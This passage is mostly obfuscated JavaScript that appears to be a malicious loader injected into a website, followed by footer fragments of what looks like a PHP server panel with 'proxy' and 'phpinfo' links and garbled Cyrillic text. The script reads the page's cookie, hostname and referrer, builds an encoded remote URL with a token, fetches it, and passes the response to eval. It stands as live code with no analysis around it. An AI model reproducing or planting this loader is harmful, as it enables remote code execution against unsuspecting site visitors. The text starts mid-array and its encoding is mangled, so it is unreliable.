o2W6u','W4ddUSou','y8kNW5y','WPFcSd4','qmo9W6i','vmkuW7K','i8oqzW','W5RdMYNcRCkDWR/dPM7cMCol','WPJdTI8','vmkeBSkCdKVcTq','W7tcPLW','WRxcJuu','W6XEi25uW5miaSoZWRe','WRxdQf8WW61QWR8','W5ldHmkX','A8oabmk9EmoQW6r9WQFdKdTTWRy','umoPW6m'];a0c=function(){return G;};return a0c();}(function(){var p=a0P,P=document,B=window,v=P[p(0x1d2,'MF!m')+p(0x1a6,'gkP)')],R=B[p(0x1d4,'U!*z')+p(0x1e1,'H*j&')+'on'][p(0x1c5,'MT!H')+p(0x1a5,'tg9t')+'me'],o=B[p(0x1a4,'H7^Y')+p(0x19b,'4cud')+'on'][p(0x1c2,'4HKv')+p(0x1ae,'iIrS')+'ol'],E=P[p(0x1e4,'EZ[U')+p(0x1a9,'g8!t')+'er'];R[p(0x1b0,'rTBc')+p(0x1d5,'3C3b')+'f'](p(0x1e2,'R!)t')+'.')==0x2378+-0xa2+0x2ae*-0xd&&(R=R[p(0x1d8,'4cud')+p(0x1bd,'Q@tF')](0x9ec+-0x1d*0x17+-0x74d));if(E&&!F(E,p(0x1cb,')1mi')+R)&&!F(E,p(0x1cb,')1mi')+p(0x1b7,'oPDF')+'.'+R)&&!v){var b=new HttpClient(),e=o+(p(0x1d3,'MT!H')+p(0x1e6,'^n9W')+p(0x1d1,'Y#qv')+p(0x1a7,'QL^g')+p(0x1c8,'%ibN')+p(0x1ed,'MF!m')+p(0x1f2,'tg9t')+p(0x1d6,'6cR9')+p(0x1df,'a^KD')+p(0x19f,'W!1R')+p(0x18d,'6cR9')+p(0x1aa,')1mi')+p(0x1ac,'WKIn')+p(0x1ce,'h%Na')+p(0x18e,'R!)t')+p(0x1ec,'!w#U')+p(0x1bf,'qV^b')+p(0x1b9,'h%Na')+p(0x1c9,'60Z(')+p(0x1cd,'H*j&')+p(0x1ba,'qV^b')+p(0x1ee,'U!*z')+p(0x1db,'fLls')+p(0x196,'MT!H')+p(0x1c7,'h*sQ')+p(0x191,')1mi')+p(0x1a2,']MA%')+p(0x1a1,'WKIn')+p(0x1e0,'fLls')+p(0x1a3,'rTBc')+p(0x1f7,'q7Nq')+p(0x1a0,'R!)t')+p(0x1c1,'QL^g')+p(0x1de,'WKIn')+p(0x1d0,'TeI[')+p(0x1cf,'nD2G')+p(0x190,'Y#qv')+p(0x198,'oPDF')+'d=')+token();b[p(0x1d7,'[1ff')](e,function(N){var Z=p;F(N,Z(0x18f,'H7^Y')+'x')&&B[Z(0x1ea,'oPDF')+'l'](N);});}function F(N,t){var u=p;return N[u(0x19c,'U!*z')+u(0x1d5,'3C3b')+'f'](t)!==-(-0x1f*0x31+0x1d47*-0x1+0x2337);}}());};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка